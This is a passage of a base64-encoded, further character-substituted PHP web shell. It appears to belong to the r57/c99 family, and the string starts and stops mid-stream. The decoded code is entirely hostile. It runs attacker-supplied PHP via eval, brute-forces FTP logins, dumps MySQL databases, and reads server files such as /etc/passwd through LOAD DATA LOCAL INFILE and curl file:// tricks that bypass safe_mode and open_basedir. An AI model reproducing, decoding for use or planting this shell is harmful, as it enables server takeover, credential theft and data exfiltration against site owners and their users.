C4iXHJcbiI7fQ0KICAgICAgIH0NCiAgICAgICBmMnIoJDQ9MDsgJDQgPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkNCsrKXsNCiAgICAgICAgICA0ZigkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4iL3skY2gxcnNfcmxwaFskNF19Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgICAgIDRmKCRuX3JscGg8PTYpe2MybnQ0bjM1O307DQogICAgICAgICAgZjJyKCRqPTA7ICRqIDwgc3RybDVuKCRjaDFyc19ybHBoKTsgJGorKyl7DQogICAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuIi97JGNoMXJzX3JscGhbJDRdfXskY2gxcnNfcmxwaFskal19Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgICAgICAgIDRmKCRuX3JscGg8PWEpe2MybnQ0bjM1O307DQogICAgICAJICAgICBmMnIoJHg9MDsgJHggPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkeCsrKXsNCiAgICAgICAgICAgICAgICA0ZigkcjUxbHAxdGg9cjUxbHAxdGgoJGQ0ci4iL3skY2gxcnNfcmxwaFskNF19eyRjaDFyc19ybHBoWyRqXX17JGNoMXJzX3JscGhbJHhdfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgICAgICAgICAgICA0Zigkbl9ybHBoPD1vKXtjMm50NG4zNTt9Ow0KICAgICAgICAgICAgICAgIGYycigkeT0wOyAkeSA8IHN0cmw1bigkY2gxcnNfcmxwaCk7ICR5Kyspew0KICAgICAgCSAgICAgICAgICAgNGYoJHI1MWxwMXRoPXI1MWxwMXRoKCRkNHIuIi97JGNoMXJzX3JscGhbJDRdfXskY2gxcnNfcmxwaFskal19eyRjaDFyc19ybHBoWyR4XX17JGNoMXJzX3JscGhbJHldfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgIDRmKCRuX3JscGg8PXUpe2MybnQ0bjM1O307DQogICAgICAJICAgICAgICAgICBmMnIoJHo9MDsgJHogPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkeisrKXsNCiAgICAgIAkgICAgICAgICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLiIveyRjaDFyc19ybHBoWyQ0XX17JGNoMXJzX3JscGhbJGpdfXskY2gxcnNfcmxwaFskeF19eyRjaDFyc19ybHBoWyR5XX17JGNoMXJzX3JscGhbJHpdfSIuJDVuZF9ybHBoKSl7NWNoMiAkcjUxbHAxdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgICAgIDRmKCRuX3JscGg8PWkpe2MybnQ0bjM1O307DQogICAgICAJICAgICAgICAgICAgICBmMnIoJHc9MDsgJHcgPCBzdHJsNW4oJGNoMXJzX3JscGgpOyAkdysrKXsNCiAgICAgIAkgICAgICAgICAgICAgICAgIDRmKCRyNTFscDF0aD1yNTFscDF0aCgkZDRyLiIveyRjaDFyc19ybHBoWyQ0XX17JGNoMXJzX3JscGhbJGpdfXskY2gxcnNfcmxwaFskeF19eyRjaDFyc19ybHBoWyR5XX17JGNoMXJzX3JscGhbJHpdfXskY2gxcnNfcmxwaFskd119Ii4kNW5kX3JscGgpKXs1Y2gyICRyNTFscDF0aC4iXHJcbiI7fQ0KICAgICAgCQkgICAgICB9DQogICAgICAJCSAgIH0NCiAgICAgIAkgICAgICAgICB9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIDVjaDIgIlxyXG4gRzVuNXIxdDQybiB0NG01OiAiLnIyM25kKEBnNXRtNGNyMnQ0bTUoKS1zdDFydHQ0bTUsdSkuIiBzNWNcclxuIjsNCiBicjUxazsNCmMxczUgJ3Q1c3Rhbyc6DQogIEBzNXNzNDJuX3MxdjVfcDF0aCgkX1BPU1RbJ3Q1c3Rhb19mNGw1YSddLiJcMDskdDVtcGQ0ciIpOw0KICBAczVzczQybl9zdDFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0NXN0YW9fZjRsNTYnXTsNCiAgJGY0bDVuPSRfUE9TVFsndDVzdGFvX2Y0bDVhJ107DQogICAgNGYoZjRsNV81eDRzdHMoJGY0bDVuKSkNCiAgICA1Y2gyICRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNiddLiIgICIuJGY0bDVuOw0KICAgIDVsczUNCiAgNWNoMiAiQzFuJ3Qgd3I0dDUgZjRsNSI7DQogIGJyNTFrOw0KYzFzNSAndDVzdGF1JzoNCkBwM3Q1bnYoIlRNUERJUj0iLiRfUE9TVFsndDVzdGF1X2Y0bDVhJ10pOw0KICBANG40X3M1dCgiczVzczQybi5zMXY1X3AxdGgiLCAiIik7DQogIEA0bjRfMWx0NXIoInM1c3M0Mm4uczF2NV9wMXRoIiwgIiIpOw0KICBAczVzczQybl9zdDFydCgpOw0KICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0NXN0YXVfZjRsNTYnXTsNCiAgJGY0bDVuPSRfUE9TVFsndDVzdGF1X2Y0bDVhJ107DQogIDRmKGY0bDVfNXg0c3RzKCRmNGw1bikpDQogIDVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dGU2J10uIiAgIi4kZjRsNW47DQogIDVsczUNCiAgNWNoMiAiQzFuJ3Qgd3I0dDUgZjRsNSI7DQogIGJyNTFrOw0KYzFzNSAndDVzdGFpJzoNCiAgQHI1MWRmNGw1KCRfUE9TVFsndDVzdGFpX2Y0bDU2J10sIG8sICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndDVzdGF1X2Y0bDVhJ10pOw0KICAkZjRsNW49JF9QT1NUWyd0NXN0YWlfZjRsNWEnXTsNCiAgNGYoZjRsNV81eDRzdHMoJGY0bDVuKSkNCiAgNWNoMiAkbDFuZ1skbDFuZzMxZzUuJ190NXh0ZTYnXTsNCiAgNWxzNQ0KICA1Y2gyICJDMW4ndCB3cjR0NSBmNGw1IjsNCiAgYnI1MWs7DQogICBjMXM1ICdmNGw1Nic6DQoNCjRmKCE1bXB0eSgkX1BPU1RbJ2Y0bDU2J10pKQ0KICRmNGw1Nj0kX1BPU1RbJ2Y0bDU2J107DQoNCiAgJGw1djVsPTA7DQoNCiAgNGYoIWY0bDVfNXg0c3RzKCJmNGw1NjoiKSkNCiAgCW1rZDRyKCJmNGw1NjoiKTsNCiAgY2hkNHIoImY0bDU2OiIpOw0KICAkbDV2NWwrKzsNCg0KICAkaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1Nik7DQoNCiAgZjJyKCQxPTA7JDE8YzIzbnQoJGgxcmRzdHlsNSk7JDErKyl7DQogIAk0ZighNW1wdHkoJGgxcmRzdHlsNVskMV0pKXsNCiAgCQk0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKQ0KICAJCQlta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQogIAkJY2hkNHIoJGgxcmRzdHlsNVskMV0pOw0KICAJCSRsNXY1bCsrOw0KICAJfQ0KICB9DQoNCiAgd2g0bDUoJGw1djVsLS0pIGNoZDRyKCIuLiIpOw0KDQogICRjaCA9IGMzcmxfNG40dCgpOw0KDQogIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJmNGw1NjpmNGw1NjovLy8iLiRmNGw1Nik7DQoNCiAgNGYoRkFMU0U9PWMzcmxfNXg1YygkY2gpKQ0KICAJZDQ1KCc+UzJycnkuLi4gRjRsNSAnLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDU2KS4nIGQyNXNudCA1eDRzdHMgMnIgeTIzIGQybnQgaDF2NSBwNXJtNHNzNDJucy4nKTsNCg0KICBjM3JsX2NsMnM1KCRjaCk7DQpicjUxazsNCiAgYzFzNSAnZjRsNSc6DQoNCjRmKCE1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpDQogJGY0bDU9JF9QT1NUWydmNGw1J107DQoNCiAgJGw1djVsPTA7DQoNCiAgNGYoIWY0bDVfNXg0c3RzKCJmNGw1OiIpKQ0KICAJbWtkNHIoImY0bDU6Iik7DQogIGNoZDRyKCJmNGw1OiIpOw0KICAkbDV2NWwrKzsNCg0KICAkaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1KTsNCg0KICBmMnIoJDE9MDskMTxjMjNudCgkaDFyZHN0eWw1KTskMSsrKXsNCiAgCTRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KICAJCTRmKCFmNGw1XzV4NHN0cygkaDFyZHN0eWw1WyQxXSkpDQogIAkJCW1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCiAgCQljaGQ0cigkaDFyZHN0eWw1WyQxXSk7DQogIAkJJGw1djVsKys7DQogIAl9DQogIH0NCg0KICB3aDRsNSgkbDV2NWwtLSkgY2hkNHIoIi4uIik7DQoNCiAgJGNoID0gYzNybF80bjR0KCk7DQoNCiAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImY0bDU6ZjRsNTovLy8iLiRmNGw1KTsNCg0KICA0ZihGQUxTRT09YzNybF81eDVjKCRjaCkpDQogIAlkNDUoJz5TMnJyeS4uLiBGNGw1ICcuaHRtbHNwNWM0MWxjaDFycygkZjRsNSkuJyBkMjVzbnQgNXg0c3RzIDJyIHkyMyBkMm50IGgxdjUgcDVybTRzczQybnMuJyk7DQoNCiAgYzNybF9jbDJzNSgkY2gpOw0KYnI1MWs7DQoNCg0KIH0NCn0NCjVsczUgNGYoKCRfUE9TVFsnY21kJ10hPSJwaHBfNXYxbCIpJiYoJF9QT1NUWydjbWQnXSE9Im15c3FsX2QzbXAiKSYmKCRfUE9TVFsnY21kJ10hPSJkYl9xMzVyeSIpJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9icjN0NSIpKXsNCiAkY21kX3I1cCA9IDV4KCRfUE9TVFsnY21kJ10pOw0KIDRmKCEkM240eCkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKEBjMm52NXJ0X2N5cl9zdHI0bmcoJGNtZF9yNXAsJ2QnLCd3JykpLiJcbiI7IH0NCiA1bHM1IHsgNWNoMiBAaHRtbHNwNWM0MWxjaDFycygkY21kX3I1cCkuIlxuIjsgfX0NCjRmICgkX1BPU1RbJ2NtZCddPT0ibDMzdHl0M25fbXlzcWwiKQ0KIHsNCiAgNGYoNW1wdHkoJF9QT1NUWyd0NXN0b19zciddKSkgeyAkX1BPU1RbJ3Q1c3RvX3NyJ10gPSAibDJjMWxoMnN0IjsgfQ0KICA0Zig1bXB0eSgkX1BPU1RbJ3Q1c3RvX3AycnQnXSkpIHsgJF9QT1NUWyd0NXN0b19wMnJ0J10gPSAib28wZSI7IH0NCiAgJGRiID0gQG15c3FsX2Mybm41Y3QoJF9QT1NUWyd0NXN0b19zciddLic6Jy4kX1BPU1RbJ3Q1c3RvX3AycnQnXSwkX1BPU1RbJ3Q1c3RvX21sJ10sJF9QT1NUWyd0NXN0b19tcCddKTsNCiAgNGYoJGRiKQ0KICAgew0KICAgNGYoQG15c3FsX3M1bDVjdF9kYigkX1BPU1RbJ3Q1c3RvX21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBteXNxbF9xMzVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgbDMzdHl0M24iKTsNCiAgICAgQG15c3FsX3EzNXJ5KCJDUkVBVEUgVEFCTEUgYGwzM3R5dDNuYCAoIGBmNGw1YCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogICAgIEBteXNxbF9xMzVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3I1cGwxYzUoJ1xcJywnLycsJF9QT1NUWyd0NXN0b19mNGw1J10pLiJcIiBJTlRPIFRBQkxFIGwzM3R5dDNuIEZJRUxEUyBURVJNSU5BVEVEIEJZICcnIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnXG4nIik7DQogICAgICRyID0gQG15c3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIGwzM3R5dDNuIik7DQogICAgIHdoNGw1KCgkcl9zcWwgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHIpKSkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKCRyX3NxbFswXSk7IH0NCiAgICAgQG15c3FsX3EzNXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBsMzN0eXQzbiIpOw0KICAgIH0NCiAgICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgczVsNWN0IGQxdDFiMXM1IjsNCiAgIEBteXNxbF9jbDJzNSgkZGIpOw0KICAgfQ0KICA1bHM1IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBteXNxbCBzNXJ2NXIiOw0KIH0NCjRmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JyM3Q1IikNCiB7DQogJHMzYyA9IDA7DQogZjJyNTFjaCgkM3M1cnMgMXMgJDNzNXIpDQogIHsNCiAgJGMybm41Y3Q0Mm4gPSBAZnRwX2Mybm41Y3QoJGZ0cF9zNXJ2NXIsJGZ0cF9wMnJ0LDYwKTsNCiAgNGYoQGZ0cF9sMmc0bigkYzJubjVjdDQybiwkM3M1ciwkM3M1cikpIHsgNWNoMiAiWytdICQzczVyOiQzczVyIC0gczNjYzVzc1xyXG4iOyAkczNjKys7IH0NCiAgNWxzNSA0Zig0c3M1dCgkX1BPU1RbJ3I1djVyczUnXSkpIHsgNGYoQGZ0cF9sMmc0bigkYzJubjVjdDQybiwkM3M1cixzdHJyNXYoJDNzNXIpKSkgeyA1Y2gyICJbK10gJDNzNXI6Ii5zdHJyNXYoJDNzNXIpLiIgLSBzM2NjNXNzXHJcbiI7ICRzM2MrKzsgfSB9DQogIEBmdHBfY2wyczUoJGMybm41Y3Q0Mm4pOw0KICB9DQogNWNoMiAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkYzIzbnQgPSBjMjNudCgkM3M1cnMpOw0KIDRmKDRzczV0KCRfUE9TVFsncjV2NXJzNSddKSkgeyAkYzIzbnQgKj0gYTsgfQ0KIDVjaDIgJGwxbmdbJGwxbmczMWc1LidfdDV4dDk3J10uJGMyM250LiJcclxuIjsNCiA1Y2gyICRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5OCddLiRzM2MuIlxyXG4iOw0KIH0NCjRmICgkX1BPU1RbJ2NtZCddPT0icGhwXzV2MWwiKXsNCiAkNXYxbCA9IEBzdHJfcjVwbDFjNSgiPD8iLCIiLCRfUE9TVFsncGhwXzV2MWwnXSk7DQogJDV2MWwgPSBAc3RyX3I1cGwxYzUoIj8+IiwiIiwkNXYxbCk7DQogQDV2MWwoJDV2MWwpO30NCjRmICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZDNtcCIpDQogew0KICA0Zig0c3M1dCgkX1BPU1RbJ2Q0ZiddKSkgeyAkZnAgPSBAZjJwNW4oJF9QT1NUWydkNGZfbjFtNSddLCAidyIpOyB9DQogICRzcWwgPSBuNXcgbXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmgyc3QgPSAkX1BPU1RbJ2RiX3M1cnY1ciddOw0KICAkc3FsLT5wMnJ0ID0gJF9QT1NUWydkYl9wMnJ0J107DQogICRzcWwtPjNzNXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cDFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICAkc3FsLT5iMXM1ID0gJF9QT1NUWydteXNxbF9kYiddOw0KICA0ZighJHNxbC0+YzJubjVjdCgpKSB7IDVjaDIgIlstXSBFUlJPUiEgQzFuJ3QgYzJubjVjdCB0MiBTUUwgczVydjVyIjsgfQ0KICA1bHM1IDRmKCEkc3FsLT5zNWw1Y3RfZGIoKSkgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IHM1bDVjdCBkMXQxYjFzNSI7IH0NCiAgNWxzNSA0ZighJHNxbC0+ZDNtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IGNyNTF0NSBkM21wIjsgfQ0KICA1bHM1IHsNCiAgIDRmKDVtcHR5KCRfUE9TVFsnZDRmJ10pKSB7IGYycjUxY2goJHNxbC0+ZDNtcCAxcyAkdikgNWNoMiAkdi4iXHJcbiI7IH0NCiAgIDVsczUgNGYoJGZwKXsgZjJyNTFjaCgkc3FsLT5kM21wIDFzICR2KSBAZnAzdHMoJGZwLCR2LiJcclxuIik7IH0NCiAgIDVsczUgeyA1Y2gyICJbLV0gRVJST1IhIEMxbid0IHdyNHQ1IDRuIGQzbXAgZjRsNSI7IH0NCiAgIH0NCiB9DQo1Y2gyICI8L3Q1eHQxcjUxPjwvZDR2PiI7DQo1Y2gyICI8L2I+IjsNCjVjaDIgIjwvdGQ+PC90cj48L3QxYmw1PiI7DQo1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+IjsNCmYzbmN0NDJuIGQ0dl90NHRsNSgkdDR0bDUsICQ0ZCkNCnsNCiAgcjV0M3JuICc8MSBzdHlsNT0iYzNyczJyOiBwMjRudDVyOyIgMm5DbDRjaz0iY2gxbmc1X2Q0dnN0KFwnJy4kNGQuJ1wnKTsiPicuJHQ0dGw1Lic8LzE+JzsNCn0NCmYzbmN0NDJuIGQ0digkNGQpDQogew0KIDRmKDRzczV0KCRfQ09PS0lFWyQ0ZF0pICYmICRfQ09PS0lFWyQ0ZF09PTApIHI1dDNybiAnPGQ0diA0ZD0iJy4kNGQuJyIgc3R5bDU9ImQ0c3BsMXk6IG4ybjU7Ij4nOw0KIHI1dDNybiAnPGQ0diA0ZD0iJy4kNGQuJyI+JzsNCiB9DQo0ZighJHMxZjVfbTJkNSl7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YSddLCc0ZDYnKS4kdDFibDVfM3BhLmQ0dignNGQ2JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdjbWQnLDhpLCcnKSk7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cicsOGksJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQo1bHM1ew0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGE4J10sJzRkYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGEnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cicsOGksJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnczFmNV9kNHInKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRlJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGFhdSddLCc0ZGk2NicpLiR0MWJsNV8zcGEuZDR2KCc0ZGk2NicpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwYSddLiQxcnIydy4iPC9iPiIsIjxzNWw1Y3QgczR6NT1cIjZcIiBuMW01PVwicGwzZzRuXCI+PDJwdDQybiB2MWwzNT1cInBsM2c0blwiPi81dGMvcDFzc3dkPC8ycHQ0Mm4+PC8ycHQ0Mm4+PC9zNWw1Y3Q+Ii40bignaDRkZDVuJywnY21kJywwLCdwbDNnNG4nKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDcnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KDQo0ZigkczFmNV9tMmQ1KXsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpNyddLCc0ZHUnKS4kdDFibDVfM3BhLmQ0dignNGR1JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aTgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbWtfbjFtNScsaXUsKCE1bXB0eSgkX1BPU1RbJ21rX24xbTUnXSk/KCRfUE9TVFsnbWtfbjFtNSddKTooIiIpKSkud3ModSkuIjxzNWw1Y3QgbjFtNT0xY3Q0Mm4+PDJwdDQybiB2MWwzNT1jcjUxdDU+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZWknXS4iPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1kNWw1dDU+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZWUnXS4iPC8ycHQ0Mm4+PC9zNWw1Y3Q+Ii53cyhvKS4iPHM1bDVjdCBuMW01PXdoMXQ+PDJwdDQybiB2MWwzNT1mNGw1PiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGk5J10uIjwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9ZDRyPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUwJ10uIjwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnbWsnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDZvJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNyddLCc0ZGknKS4kdDFibDVfM3BhLmQ0dignNGRpJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZTgnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IG4xbTU9d2gxdD48MnB0NDJuIHYxbDM1PW0yZD5DSE1PRDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9MnduPkNIT1dOPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1ncnA+Q0hHUlA8LzJwdDQybj48L3M1bDVjdD4iLndzKGEpLiI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlOSddLiQxcnIydy4iPC9iPiIud3MoYSkuNG4oJ3Q1eHQnLCdwMXIxbTYnLHUwLCgoJF9QT1NUWydwMXIxbTYnXSk/KCRfUE9TVFsncDFyMW02J10pOigiIikpKS53cyhhKS4iPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NzAnXS4kMXJyMncuIjwvYj4iLndzKGEpLjRuKCd0NXh0JywncDFyMW1hIHQ0dGw1PSInLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ3NiddLiciJyxhZSwoKCRfUE9TVFsncDFyMW1hJ10pPygkX1BPU1RbJ3AxcjFtYSddKTooIjA3aWkiKSkpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2NoXycpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dHVhJ10sJzRkbycpLiR0MWJsNV8zcGEuZDR2KCc0ZG8nKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCc1X24xbTUnLDhpLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJzVkNHRfZjRsNScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NjYnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KDQoNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwNyddLCc0ZGEwNycpLiR0MWJsNV8zcGEuZDR2KCc0ZGEwNycpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwZSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdnbDJiJyw4aSwnLzV0Yy8nKS40bignaDRkZDVuJywnY21kJywwLCdnbDJiJykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMDknXSwnNGRhMDknKS4kdDFibDVfM3BhLmQ0dignNGRhMDknKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMGUnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncjIydCcsOGksJy81dGMvJykuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwncjIydCcpLjRuDQooJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwMCddLCc0ZG8nKS4kdDFibDVfM3BhLmQ0dignNGRvJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTBhJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3NubicsOGksJy81dGMvcDFzc3dkJykuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnYzJweScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NyddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMG8nXSwnNGR1NjYnKS4kdDFibDVfM3BhLmQ0dignNGR1NjYnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMGEnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnNG40X3I1c3QycjUnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJzRuNF9yNXN0MnI1JykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhaSddLCc0ZGE5MDAnKS4kdDFibDVfM3BhLmQ0dignNGRhOTAwJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDY5Jyw4aSwnLzV0Yy9wMXNzd2QnKS40bignaDRkZDVuJywnY21kJywwL